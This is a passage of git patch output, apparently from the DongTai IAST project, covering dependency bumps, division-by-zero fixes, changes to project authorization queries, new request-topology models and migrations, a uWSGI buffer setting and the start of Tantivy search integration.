"hashes": [ @@ -1982,11 +2057,12 @@ }, "typing-extensions": { "hashes": [ - "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36", - "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2" + "sha256:8f92fc8806f9a6b641eaa5318da32b44d401efaac0f6678c9bc448ba3605faa0", + "sha256:df8e4339e9cb77357558cbdbceca33c303714cf861d1eef15e1070055ae8b7ef" ], "index": "pypi", - "version": "==4.7.1" + "markers": "python_version >= '3.8'", + "version": "==4.8.0" }, "typing-inspect": { "hashes": [ @@ -2017,6 +2093,7 @@ "sha256:a7acd0977125325f516bda9735fa7142b909a8d01e8b2e4c8108d0984e6e0098" ], "index": "pypi", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", "version": "==1.26.5" }, "uwsgi": { diff --git a/requirements.txt b/requirements.txt index 51269b430..b3b8e9773 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,7 +1,7 @@ -i https://pypi.org/simple aliyun-python-sdk-core==2.13.36 aliyun-python-sdk-core-v3==2.13.33 -aliyun-python-sdk-kms==2.16.1 +aliyun-python-sdk-kms==2.16.2 amqp==5.1.1; python_version >= '3.6' asgiref==3.7.2; python_version >= '3.7' async-timeout==4.0.3; python_version >= '3.7' @@ -9,9 +9,9 @@ attrs==23.1.0; python_version >= '3.7' autopep8==2.0.4; python_version >= '3.6' billiard==4.1.0; python_version >= '3.7' boto3==1.24.59; python_version >= '3.7' -boto3-stubs==1.28.40; python_version >= '3.7' +boto3-stubs==1.28.52; python_version >= '3.7' botocore==1.27.91; python_version >= '3.7' -botocore-stubs==1.31.40; python_version >= '3.7' and python_version < '4.0' +botocore-stubs==1.31.52; python_version >= '3.7' and python_version < '4.0' celery==5.3.0rc1; python_version >= '3.7' celery-singleton==0.3.1; python_version >= '3.6' and python_version < '4.0' certifi==2023.7.22; python_version >= '3.6' @@ -24,17 +24,17 @@ click-plugins==1.1.1 click-repl==0.3.0; python_version >= '3.6' crcmod==1.7 cryptography==41.0.3; python_version >= '3.7' -dataclasses-json==0.5.14; python_version < '3.13' and python_version >= '3.7' +dataclasses-json==0.6.0; python_version >= '3.7' and python_version < '4.0' ddt==1.6.0 defusedxml==0.7.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' diff-match-patch==20230430; python_version >= '3.7' -django==3.2.20; python_version >= '3.6' +django==3.2.21; python_version >= '3.6' django-add-default-value==0.10.0 django-celery-beat==2.2.0 django-cors-headers==4.2.0; python_version >= '3.8' django-cprofile-middleware==1.0.5 django-elasticsearch-dsl==7.2.2 -django-filter==23.2; python_version >= '3.7' +django-filter==23.3; python_version >= '3.7' django-health-check==3.17.0; python_version >= '3.8' django-import-export==2.5.0; python_version >= '3.5' django-mock-queries==2.1.7 @@ -53,7 +53,7 @@ django-utils==0.0.2 django-utils-six==2.0; python_version >= '3.6' and python_version < '4.0' django-xff==1.4.0 djangorestframework==3.12.4; python_version >= '3.5' -djangorestframework-dataclasses==1.3.0; python_version >= '3.7' +djangorestframework-dataclasses==1.3.1; python_version >= '3.7' djangorestframework-stubs[compatible-mypy]==1.9.1; python_version >= '3.7' docxcompose==1.3.4 docxtpl==0.16.0 @@ -83,27 +83,30 @@ markupsafe==2.1.3; python_version >= '3.7' marshmallow==3.20.1; python_version >= '3.8' mock==5.1.0; python_version >= '3.6' model-bakery==1.15.0; python_version >= '3' +more-itertools==10.1.0; python_version >= '3.8' mypy==1.0.1; python_version >= '3.7' mypy-extensions==1.0.0; python_version >= '3.5' mysqlclient==2.2.0; python_version >= '3.8' networkit==10.1 networkx[all]==3.1; python_version >= '3.8' -numpy==1.25.2; python_version >= '3.9' +numpy==1.26.0; python_version < '3.13' and python_version >= '3.9' odfpy==1.4.1 openpyxl==3.0.9; python_version >= '3.6' oss2==2.13.1 packaging==21.3; python_version >= '3.6' -pandas==2.1.0; python_version >= '3.9' +pandas==2.1.1; python_version >= '3.9' pep8==1.7.1 pillow==9.3.0; python_version >= '3.7' prometheus-client==0.17.1; python_version >= '3.6' prompt-toolkit==3.0.39; python_full_version >= '3.7.0' pycodestyle==2.11.0; python_version >= '3.8' pycparser==2.21 -pycryptodome==3.18.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' +pycryptodome==3.19.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' pycryptodomex==3.14.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' pydantic==1.10.12; python_version >= '3.7' +pydot==1.4.2; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' pymysql==1.0.2; python_version >= '3.6' +pyotp==2.9.0; python_version >= '3.7' pyparsing==3.1.1; python_full_version >= '3.6.8' pyre2==0.3.6; python_version >= '3.6' pyrsistent==0.19.1; python_version >= '3.7' @@ -130,13 +133,13 @@ types-awscrt==0.19.1; python_version >= '3.7' and python_version < '4.0' types-pymysql==1.1.0.1 types-pyopenssl==23.2.0.2 types-python-dateutil==2.8.19.14 -types-pytz==2023.3.0.1 +types-pytz==2023.3.1.1 types-pyyaml==6.0.12.11 -types-redis==4.6.0.5 -types-requests==2.31.0.2 +types-redis==4.6.0.6 +types-requests==2.31.0.3 types-s3transfer==0.6.2; python_version >= '3.7' and python_version < '4.0' types-urllib3==1.26.25.14 -typing-extensions==4.7.1; python_version >= '3.7' +typing-extensions==4.8.0; python_version >= '3.8' typing-inspect==0.9.0 tzdata==2023.3; python_version >= '2' uritemplate==4.1.1; python_version >= '3.6' From 51b1b7a0bc4ecbd1ffaf00ee8aaa1d061d908a87 Mon Sep 17 00:00:00 2001 From: st1020 Date: Fri, 22 Sep 2023 12:10:59 +0800 Subject: [PATCH 13/92] deps: remove unused dep --- Pipfile | 1 - Pipfile.lock | 51 ++++++++++++++++++++++++------------------------ requirements.txt | 2 +- 3 files changed, 26 insertions(+), 28 deletions(-) diff --git a/Pipfile b/Pipfile index d0cb969f7..1ecd2744c 100644 --- a/Pipfile +++ b/Pipfile @@ -69,7 +69,6 @@ botocore = "==1.27.91" setuptools = "==65.5.1" elasticsearch = "==7.17.7" django-mock-queries = "==v2.1.7" -cryptography = "==41.0.3" jsonschema = "==4.17.0" pillow = "==9.3.0" pyrsistent = "==0.19.1" diff --git a/Pipfile.lock b/Pipfile.lock index b7e283586..d2422fd3d 100644 --- a/Pipfile.lock +++ b/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "5850e346e1045a0eea8901338764b7b96efdb52b36ac4a882d75bb747d6c76c7" + "sha256": "9031e1da5959c5d50e4c494f927bab8ca15f4b27cc6d5a595dc9a28754ff481f" }, "pipfile-spec": 6, "requires": { @@ -349,33 +349,32 @@ }, "cryptography": { "hashes": [ - "sha256:0d09fb5356f975974dbcb595ad2d178305e5050656affb7890a1583f5e02a306", - "sha256:23c2d778cf829f7d0ae180600b17e9fceea3c2ef8b31a99e3c694cbbf3a24b84", - "sha256:3fb248989b6363906827284cd20cca63bb1a757e0a2864d4c1682a985e3dca47", - "sha256:41d7aa7cdfded09b3d73a47f429c298e80796c8e825ddfadc84c8a7f12df212d", - "sha256:42cb413e01a5d36da9929baa9d70ca90d90b969269e5a12d39c1e0d475010116", - "sha256:4c2f0d35703d61002a2bbdcf15548ebb701cfdd83cdc12471d2bae80878a4207", - "sha256:4fd871184321100fb400d759ad0cddddf284c4b696568204d281c902fc7b0d81", - "sha256:5259cb659aa43005eb55a0e4ff2c825ca111a0da1814202c64d28a985d33b087", - "sha256:57a51b89f954f216a81c9d057bf1a24e2f36e764a1ca9a501a6964eb4a6800dd", - "sha256:652627a055cb52a84f8c448185922241dd5217443ca194d5739b44612c5e6507", - "sha256:67e120e9a577c64fe1f611e53b30b3e69744e5910ff3b6e97e935aeb96005858", - "sha256:6af1c6387c531cd364b72c28daa29232162010d952ceb7e5ca8e2827526aceae", - "sha256:6d192741113ef5e30d89dcb5b956ef4e1578f304708701b8b73d38e3e1461f34", - "sha256:7efe8041897fe7a50863e51b77789b657a133c75c3b094e51b5e4b5cec7bf906", - "sha256:84537453d57f55a50a5b6835622ee405816999a7113267739a1b4581f83535bd", - "sha256:8f09daa483aedea50d249ef98ed500569841d6498aa9c9f4b0531b9964658922", - "sha256:95dd7f261bb76948b52a5330ba5202b91a26fbac13ad0e9fc8a3ac04752058c7", - "sha256:a74fbcdb2a0d46fe00504f571a2a540532f4c188e6ccf26f1f178480117b33c4", - "sha256:a983e441a00a9d57a4d7c91b3116a37ae602907a7618b882c8013b5762e80574", - "sha256:ab8de0d091acbf778f74286f4989cf3d1528336af1b59f3e5d2ebca8b5fe49e1", - "sha256:aeb57c421b34af8f9fe830e1955bf493a86a7996cc1338fe41b30047d16e962c", - "sha256:ce785cf81a7bdade534297ef9e490ddff800d956625020ab2ec2780a556c313e", - "sha256:d0d651aa754ef58d75cec6edfbd21259d93810b73f6ec246436a21b7841908de" + "sha256:004b6ccc95943f6a9ad3142cfabcc769d7ee38a3f60fb0dddbfb431f818c3a67", + "sha256:047c4603aeb4bbd8db2756e38f5b8bd7e94318c047cfe4efeb5d715e08b49311", + "sha256:0d9409894f495d465fe6fda92cb70e8323e9648af912d5b9141d616df40a87b8", + "sha256:23a25c09dfd0d9f28da2352503b23e086f8e78096b9fd585d1d14eca01613e13", + "sha256:2ed09183922d66c4ec5fdaa59b4d14e105c084dd0febd27452de8f6f74704143", + "sha256:35c00f637cd0b9d5b6c6bd11b6c3359194a8eba9c46d4e875a3660e3b400005f", + "sha256:37480760ae08065437e6573d14be973112c9e6dcaf5f11d00147ee74f37a3829", + "sha256:3b224890962a2d7b57cf5eeb16ccaafba6083f7b811829f00476309bce2fe0fd", + "sha256:5a0f09cefded00e648a127048119f77bc2b2ec61e736660b5789e638f43cc397", + "sha256:5b72205a360f3b6176485a333256b9bcd48700fc755fef51c8e7e67c4b63e3ac", + "sha256:7e53db173370dea832190870e975a1e09c86a879b613948f09eb49324218c14d", + "sha256:7febc3094125fc126a7f6fb1f420d0da639f3f32cb15c8ff0dc3997c4549f51a", + "sha256:80907d3faa55dc5434a16579952ac6da800935cd98d14dbd62f6f042c7f5e839", + "sha256:86defa8d248c3fa029da68ce61fe735432b047e32179883bdb1e79ed9bb8195e", + "sha256:8ac4f9ead4bbd0bc8ab2d318f97d85147167a488be0e08814a37eb2f439d5cf6", + "sha256:93530900d14c37a46ce3d6c9e6fd35dbe5f5601bf6b3a5c325c7bffc030344d9", + "sha256:9eeb77214afae972a00dee47382d2591abe77bdae166bda672fb1e24702a3860", + "sha256:b5f4dfe950ff0479f1f00eda09c18798d4f49b98f4e2006d644b3301682ebdca", + "sha256:c3391bd8e6de35f6f1140e50aaeb3e2b3d6a9012536ca23ab0d9c35ec18c8a91", + "sha256:c880eba5175f4307129784eca96f4e70b88e57aa3f680aeba3bab0e980b0f37d", + "sha256:cecfefa17042941f94ab54f769c8ce0fe14beff2694e9ac684176a2535bf9714", + "sha256:e40211b4923ba5a6dc9769eab704bdb3fbb58d56c5b336d30996c24fcf12aadb", + "sha256:efc8ad4e6fc4f1752ebfb58aefece8b4e3c4cae940b0994d43649bdfce8d0d4f" ], - "index": "pypi", "markers": "python_version >= '3.7'", - "version": "==41.0.3" + "version": "==41.0.4" }, "dataclasses-json": { "hashes": [ diff --git a/requirements.txt b/requirements.txt index b3b8e9773..7f685d367 100644 --- a/requirements.txt +++ b/requirements.txt @@ -23,7 +23,7 @@ click-didyoumean==0.3.0; python_full_version >= '3.6.2' and python_full_version click-plugins==1.1.1 click-repl==0.3.0; python_version >= '3.6' crcmod==1.7 -cryptography==41.0.3; python_version >= '3.7' +cryptography==41.0.4; python_version >= '3.7' dataclasses-json==0.6.0; python_version >= '3.7' and python_version < '4.0' ddt==1.6.0 defusedxml==0.7.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' From 06b38a9dcdb44ff2eb98bf1c76ad2503d4758c2f Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Fri, 22 Sep 2023 14:11:36 +0800 Subject: [PATCH 14/92] fix: percentage zero error. --- dongtai_web/views/utils/commonstats.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/dongtai_web/views/utils/commonstats.py b/dongtai_web/views/utils/commonstats.py index 3e8f4b68f..436589242 100644 --- a/dongtai_web/views/utils/commonstats.py +++ b/dongtai_web/views/utils/commonstats.py @@ -177,6 +177,9 @@ def get_summary_by_project(project_id: int, project_version_id: int): ) type_summary_total_count = sum(i["type_count"] for i in data["type_summary"]) for type_summary in data["type_summary"]: + if type_summary_total_count == 0: + type_summary["level_total_percentage"] = 0 + continue type_summary["type_total_percentage"] = type_summary["type_total_percentage"] / type_summary_total_count current_timestamp, a_week_ago_timestamp, days = weeks_ago(week=1) daylist = [] @@ -244,6 +247,9 @@ def get_summary_by_project(project_id: int, project_version_id: int): data["level_count"] = levelNum level_total_count = sum(i["num"] for i in data["level_count"]) for level in data["level_count"]: + if level_total_count == 0: + level["level_total_percentage"] = 0 + continue level["level_total_percentage"] = level["num"] / level_total_count return data From 289d411a87aa0ff1874a89647c747e5a8338d68d Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Fri, 22 Sep 2023 15:19:51 +0800 Subject: [PATCH 15/92] fix: project current version auth fix. --- dongtai_web/views/project_search.py | 3 +-- dongtai_web/views/project_version_current.py | 5 ++--- dongtai_web/views/vul_summary.py | 1 + dongtai_web/views/vul_summary_project.py | 1 + dongtai_web/views/vul_summary_type.py | 1 + dongtai_web/views/vuls.py | 1 + 6 files changed, 7 insertions(+), 5 deletions(-) diff --git a/dongtai_web/views/project_search.py b/dongtai_web/views/project_search.py index 77dae75e1..79b96239e 100644 --- a/dongtai_web/views/project_search.py +++ b/dongtai_web/views/project_search.py @@ -39,7 +39,6 @@ class ProjectSearch(UserEndPoint): ) def get(self, request): name = request.query_params.get("name", "") - users = self.get_auth_users(request.user) - projects = IastProject.objects.filter(user__in=users, name__icontains=name).order_by("-latest_time") + projects = request.user.get_projects().filter(name__icontains=name).order_by("-latest_time") data = [model_to_dict(project, fields=["id", "name"]) for project in projects] return R.success(data=data) diff --git a/dongtai_web/views/project_version_current.py b/dongtai_web/views/project_version_current.py index fc41e35a2..578fea5e3 100644 --- a/dongtai_web/views/project_version_current.py +++ b/dongtai_web/views/project_version_current.py @@ -48,10 +48,9 @@ def post(self, request): if not version_id or not project_id: return R.failure(status=202, msg=_("Parameter error")) - users = self.get_auth_users(request.user) - users_id = [user.id for user in users] + projects = request.user.get_projects() version = IastProjectVersion.objects.filter( - project_id=project_id, id=version_id, user_id__in=users_id + project_id=project_id, id=version_id, project__in=projects ).first() if version: version.current_version = 1 diff --git a/dongtai_web/views/vul_summary.py b/dongtai_web/views/vul_summary.py index 92b74f4a5..25f408ad7 100644 --- a/dongtai_web/views/vul_summary.py +++ b/dongtai_web/views/vul_summary.py @@ -122,6 +122,7 @@ class VulSummary(UserEndPoint): "Use the following conditions to view the statistics of the number of vulnerabilities in the project." ), response_schema=_ResponseSerializer, + deprecated=True, ) def get(self, request): """ diff --git a/dongtai_web/views/vul_summary_project.py b/dongtai_web/views/vul_summary_project.py index 7e99bf7e4..64fca3d3c 100644 --- a/dongtai_web/views/vul_summary_project.py +++ b/dongtai_web/views/vul_summary_project.py @@ -110,6 +110,7 @@ class VulSummaryProject(UserEndPoint): "Use the following conditions to view the statistics of the number of vulnerabilities in the project." ), response_schema=_ResponseSerializer, + deprecated=True, ) def get(self, request): """ diff --git a/dongtai_web/views/vul_summary_type.py b/dongtai_web/views/vul_summary_type.py index 611bebb32..32c64b41c 100644 --- a/dongtai_web/views/vul_summary_type.py +++ b/dongtai_web/views/vul_summary_type.py @@ -109,6 +109,7 @@ class VulSummaryType(UserEndPoint): "Use the following conditions to view the statistics of the number of vulnerabilities in the project." ), response_schema=_ResponseSerializer, + deprecated=True, ) def get(self, request): """ diff --git a/dongtai_web/views/vuls.py b/dongtai_web/views/vuls.py index 0d55b1dfd..52592ae4d 100644 --- a/dongtai_web/views/vuls.py +++ b/dongtai_web/views/vuls.py @@ -177,6 +177,7 @@ class VulsEndPoint(UserEndPoint): summary=_("Vulnerability List (with project)"), response_schema=_ResponseSerializer, description=_("Get the list of vulnerabilities corresponding to the project"), + deprecated=True, ) def get(self, request): """ From ac04055ae1128073f269d184931d567d25c1c7b9 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Fri, 22 Sep 2023 17:38:44 +0800 Subject: [PATCH 16/92] fix: zero divide --- dongtai_web/views/utils/commonstats.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dongtai_web/views/utils/commonstats.py b/dongtai_web/views/utils/commonstats.py index 436589242..6f721b91e 100644 --- a/dongtai_web/views/utils/commonstats.py +++ b/dongtai_web/views/utils/commonstats.py @@ -180,7 +180,7 @@ def get_summary_by_project(project_id: int, project_version_id: int): if type_summary_total_count == 0: type_summary["level_total_percentage"] = 0 continue - type_summary["type_total_percentage"] = type_summary["type_total_percentage"] / type_summary_total_count + type_summary["type_total_percentage"] = type_summary["type_count"] / type_summary_total_count current_timestamp, a_week_ago_timestamp, days = weeks_ago(week=1) daylist = [] while days >= 0: From 0428ac37718e21fde3c89557cf8c9926bad3389a Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 26 Sep 2023 15:15:01 +0800 Subject: [PATCH 17/92] feat: add request topo models. --- ...hainstopototalprojectversiongraph_iasta.py | 104 ++++++++++++++++++ .../migrations/0031_auto_20230926_1510.py | 29 +++++ dongtai_common/models/request_chains.py | 69 ++++++++++++ 3 files changed, 202 insertions(+) create mode 100644 dongtai_common/migrations/0030_iastagentblackrule_iastagentblackruledetail_iastagentrequestchainstopototalprojectversiongraph_iasta.py create mode 100644 dongtai_common/migrations/0031_auto_20230926_1510.py diff --git a/dongtai_common/migrations/0030_iastagentblackrule_iastagentblackruledetail_iastagentrequestchainstopototalprojectversiongraph_iasta.py b/dongtai_common/migrations/0030_iastagentblackrule_iastagentblackruledetail_iastagentrequestchainstopototalprojectversiongraph_iasta.py new file mode 100644 index 000000000..154ce2c4c --- /dev/null +++ b/dongtai_common/migrations/0030_iastagentblackrule_iastagentblackruledetail_iastagentrequestchainstopototalprojectversiongraph_iasta.py @@ -0,0 +1,104 @@ +# Generated by Django 3.2.20 on 2023-09-26 10:37 + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + dependencies = [ + ("dongtai_common", "0029_user_totp_secret"), + ] + + operations = [ + migrations.CreateModel( + name="IastAgentRequestChainsTopoTotalProjectVersionGraph", + fields=[ + ("id", models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name="ID")), + ("graph_hash", models.CharField(blank=True, max_length=255, unique=True)), + ("dot_string", models.TextField()), + ], + options={ + "db_table": "iast_request_chains_topo_total_project_version_graph", + "managed": True, + }, + ), + migrations.CreateModel( + name="IastAgentRequestChainsTopoTotalProjectVersionGraphVec", + fields=[ + ("id", models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name="ID")), + ( + "source_project_version", + models.ForeignKey( + blank=True, + db_constraint=False, + default=-1, + on_delete=django.db.models.deletion.DO_NOTHING, + related_name="total_source_project_version_node", + to="dongtai_common.iastprojectversion", + ), + ), + ( + "target_project_version", + models.ForeignKey( + blank=True, + db_constraint=False, + default=-1, + on_delete=django.db.models.deletion.DO_NOTHING, + related_name="total_target_project_version_node", + to="dongtai_common.iastprojectversion", + ), + ), + ( + "total_project_version_graph", + models.ForeignKey( + blank=True, + db_constraint=False, + max_length=255, + on_delete=django.db.models.deletion.CASCADE, + to="dongtai_common.iastagentrequestchainstopograph", + to_field="graph_hash", + ), + ), + ], + options={ + "db_table": "iast_request_chains_topo_total_project_version_graph_vec", + "managed": True, + "unique_together": { + ("total_project_version_graph", "source_project_version", "target_project_version") + }, + }, + ), + migrations.CreateModel( + name="IastAgentRequestChainsTopoTotalProjectVersionGraphProjectRel", + fields=[ + ("id", models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name="ID")), + ( + "project_version", + models.ForeignKey( + blank=True, + db_constraint=False, + default=-1, + on_delete=django.db.models.deletion.DO_NOTHING, + to="dongtai_common.iastprojectversion", + ), + ), + ( + "total_project_version_graph", + models.ForeignKey( + blank=True, + db_constraint=False, + max_length=255, + on_delete=django.db.models.deletion.CASCADE, + to="dongtai_common.iastagentrequestchainstopototalprojectversiongraph", + to_field="graph_hash", + ), + ), + ], + options={ + "db_table": "iast_request_chains_topo_total_project_version_graph_rel", + "managed": True, + "unique_together": {("total_project_version_graph", "project_version")}, + }, + ), + ] diff --git a/dongtai_common/migrations/0031_auto_20230926_1510.py b/dongtai_common/migrations/0031_auto_20230926_1510.py new file mode 100644 index 000000000..01057a96e --- /dev/null +++ b/dongtai_common/migrations/0031_auto_20230926_1510.py @@ -0,0 +1,29 @@ +# Generated by Django 3.2.20 on 2023-09-26 15:10 + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + dependencies = [ + ( + "dongtai_common", + "0030_iastagentblackrule_iastagentblackruledetail_iastagentrequestchainstopototalprojectversiongraph_iasta", + ), + ] + + operations = [ + migrations.AlterField( + model_name="iastagentrequestchainstopototalprojectversiongraphvec", + name="total_project_version_graph", + field=models.ForeignKey( + blank=True, + db_constraint=False, + max_length=255, + on_delete=django.db.models.deletion.CASCADE, + to="dongtai_common.iastagentrequestchainstopototalprojectversiongraph", + to_field="graph_hash", + ), + ), + ] diff --git a/dongtai_common/models/request_chains.py b/dongtai_common/models/request_chains.py index 3aea01273..626e8bee6 100644 --- a/dongtai_common/models/request_chains.py +++ b/dongtai_common/models/request_chains.py @@ -193,3 +193,72 @@ class Meta: managed = get_managed() db_table = "iast_request_chains_total_project_graph_vec" unique_together = (("source_project", "target_project"),) + + +class IastAgentRequestChainsTopoTotalProjectVersionGraph(models.Model): + graph_hash = models.CharField( + max_length=255, + blank=True, + unique=True, + ) + dot_string = models.TextField() + + class Meta: + managed = get_managed() + db_table = "iast_request_chains_topo_total_project_version_graph" + + +class IastAgentRequestChainsTopoTotalProjectVersionGraphVec(models.Model): + total_project_version_graph = models.ForeignKey( + IastAgentRequestChainsTopoTotalProjectVersionGraph, + max_length=255, + blank=True, + to_field="graph_hash", + on_delete=models.CASCADE, + db_constraint=False, + ) + source_project_version = models.ForeignKey( + IastProjectVersion, + models.DO_NOTHING, + blank=True, + default=-1, + db_constraint=False, + related_name="total_source_project_version_node", + ) + target_project_version = models.ForeignKey( + IastProjectVersion, + models.DO_NOTHING, + blank=True, + default=-1, + db_constraint=False, + related_name="total_target_project_version_node", + ) + + class Meta: + managed = get_managed() + db_table = "iast_request_chains_topo_total_project_version_graph_vec" + unique_together = (("total_project_version_graph", "source_project_version", "target_project_version"),) + + +class IastAgentRequestChainsTopoTotalProjectVersionGraphProjectRel(models.Model): + total_project_version_graph = models.ForeignKey( + IastAgentRequestChainsTopoTotalProjectVersionGraph, + max_length=255, + blank=True, + to_field="graph_hash", + on_delete=models.CASCADE, + db_constraint=False, + ) + project_version = models.ForeignKey( + IastProjectVersion, + models.DO_NOTHING, + blank=True, + default=-1, + db_constraint=False, + db_index=True, + ) + + class Meta: + managed = get_managed() + db_table = "iast_request_chains_topo_total_project_version_graph_rel" + unique_together = (("total_project_version_graph", "project_version"),) From 9d354db34a43ead03b258dad0cae62f55de51d39 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 26 Sep 2023 15:17:34 +0800 Subject: [PATCH 18/92] feat: add request topo models. --- ...iastagentrequestchainstopototalprojectversiongraph_iasta.py | 3 +-- dongtai_common/migrations/0031_auto_20230926_1510.py | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/dongtai_common/migrations/0030_iastagentblackrule_iastagentblackruledetail_iastagentrequestchainstopototalprojectversiongraph_iasta.py b/dongtai_common/migrations/0030_iastagentblackrule_iastagentblackruledetail_iastagentrequestchainstopototalprojectversiongraph_iasta.py index 154ce2c4c..c6345d9db 100644 --- a/dongtai_common/migrations/0030_iastagentblackrule_iastagentblackruledetail_iastagentrequestchainstopototalprojectversiongraph_iasta.py +++ b/dongtai_common/migrations/0030_iastagentblackrule_iastagentblackruledetail_iastagentrequestchainstopototalprojectversiongraph_iasta.py @@ -1,8 +1,7 @@ # Generated by Django 3.2.20 on 2023-09-26 10:37 -from django.conf import settings -from django.db import migrations, models import django.db.models.deletion +from django.db import migrations, models class Migration(migrations.Migration): diff --git a/dongtai_common/migrations/0031_auto_20230926_1510.py b/dongtai_common/migrations/0031_auto_20230926_1510.py index 01057a96e..2b9b5b5e2 100644 --- a/dongtai_common/migrations/0031_auto_20230926_1510.py +++ b/dongtai_common/migrations/0031_auto_20230926_1510.py @@ -1,8 +1,7 @@ # Generated by Django 3.2.20 on 2023-09-26 15:10 -from django.conf import settings -from django.db import migrations, models import django.db.models.deletion +from django.db import migrations, models class Migration(migrations.Migration): From 5ebb81a6e1202d39b6435a2f093960832bc19a12 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 26 Sep 2023 18:04:20 +0800 Subject: [PATCH 19/92] feat: project type summary list. --- dongtai_web/views/project_type_summary_list.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dongtai_web/views/project_type_summary_list.py b/dongtai_web/views/project_type_summary_list.py index 782784a50..00ae93f77 100644 --- a/dongtai_web/views/project_type_summary_list.py +++ b/dongtai_web/views/project_type_summary_list.py @@ -64,7 +64,7 @@ def get(self, request, id): .values("strategy_id") .annotate(vul_count=Count("strategy_id")) .filter(vul_count__gt=0) - .order_by("vul_count") + .order_by("-vul_count") ) data = {"type_summary": []} q = ~Q(hook_type_id=0) From 4604d22a50f631fff78c817f37ab7208327bb236 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 26 Sep 2023 18:20:10 +0800 Subject: [PATCH 20/92] feat: increase buffer size. --- dongtai_conf/conf/uwsgi.ini | 1 + 1 file changed, 1 insertion(+) diff --git a/dongtai_conf/conf/uwsgi.ini b/dongtai_conf/conf/uwsgi.ini index cf4474852..c612867b3 100644 --- a/dongtai_conf/conf/uwsgi.ini +++ b/dongtai_conf/conf/uwsgi.ini @@ -23,6 +23,7 @@ chmod-socket = 664 vacuum = true gevent = 2000 gevent-monkey-patch = true +buffer-size = 65536 # thunder-lock = true # enable-threads = false static-map = /upload=/opt/dongtai/static From 70cadf3b3c005be08c61e4e7e2683ad4d725560e Mon Sep 17 00:00:00 2001 From: st1020 Date: Wed, 27 Sep 2023 11:58:39 +0800 Subject: [PATCH 21/92] feat: modify user info api --- dongtai_web/views/user_info.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/dongtai_web/views/user_info.py b/dongtai_web/views/user_info.py index 9295ca26c..2f798e4fd 100644 --- a/dongtai_web/views/user_info.py +++ b/dongtai_web/views/user_info.py @@ -7,6 +7,7 @@ from drf_spectacular.utils import extend_schema from dongtai_common.endpoint import R, UserEndPoint +from dongtai_common.utils.request_type import Request from dongtai_conf.settings import SCA_SETUP logger = logging.getLogger("django") @@ -20,7 +21,7 @@ class UserInfoEndpoint(UserEndPoint): summary=_("User Info"), tags=[_("User")], ) - def get(self, request): + def get(self, request: Request): user = request.user group = Group.objects.filter(user=user).order_by("-id").first() @@ -37,5 +38,6 @@ def get(self, request): else 0, "role_name": "" if group is None else group.name, "sca_setup": not SCA_SETUP, + "enable_totp": bool(user.totp_secret), } ) From 4865fdc3873532db5117d53d4fc674239bff5db0 Mon Sep 17 00:00:00 2001 From: st1020 Date: Thu, 28 Sep 2023 10:31:50 +0800 Subject: [PATCH 22/92] feat: add tantivy search --- .../migrations/0032_update_vul_index_task.py | 23 ++++++++++ dongtai_common/models/vulnerablity.py | 36 ++++++++++++++- dongtai_conf/settings.py | 8 ++++ dongtai_web/aggr_vul/app_vul_list.py | 42 ++++++++++++++++- dongtai_web/aggr_vul/tasks.py | 45 +++++++++++++++++++ dongtai_web/apps.py | 5 +-- 6 files changed, 154 insertions(+), 5 deletions(-) create mode 100644 dongtai_common/migrations/0032_update_vul_index_task.py create mode 100644 dongtai_web/aggr_vul/tasks.py diff --git a/dongtai_common/migrations/0032_update_vul_index_task.py b/dongtai_common/migrations/0032_update_vul_index_task.py new file mode 100644 index 000000000..e02794107 --- /dev/null +++ b/dongtai_common/migrations/0032_update_vul_index_task.py @@ -0,0 +1,23 @@ +from django.db import migrations + + +def update_vul_index_task(apps, schema_editor): + from django_celery_beat.models import IntervalSchedule, PeriodicTask + + obj = IntervalSchedule.objects.create(id=8, every=30, period=IntervalSchedule.MINUTES) + PeriodicTask.objects.create( + name="update_vul_tantivy_index", + task="dongtai_web.aggr_vul.tasks.update_vul_tantivy_index", + enabled=True, + interval=obj, + ) + + +class Migration(migrations.Migration): + dependencies = [ + ("dongtai_common", "0031_auto_20230926_1510"), + ] + + operations = [ + migrations.RunPython(update_vul_index_task), + ] diff --git a/dongtai_common/models/vulnerablity.py b/dongtai_common/models/vulnerablity.py index ebfc123f5..7277a7d41 100644 --- a/dongtai_common/models/vulnerablity.py +++ b/dongtai_common/models/vulnerablity.py @@ -1,6 +1,8 @@ import logging +import os.path import uuid +import tantivy from django.core.cache import cache from django.db import models from django_elasticsearch_dsl import Document, fields @@ -15,7 +17,7 @@ from dongtai_common.models.strategy import IastStrategyModel from dongtai_common.models.vul_level import IastVulLevel from dongtai_common.utils.settings import get_managed -from dongtai_conf.settings import VULNERABILITY_INDEX +from dongtai_conf.settings import TANTIVY_INDEX_PATH, 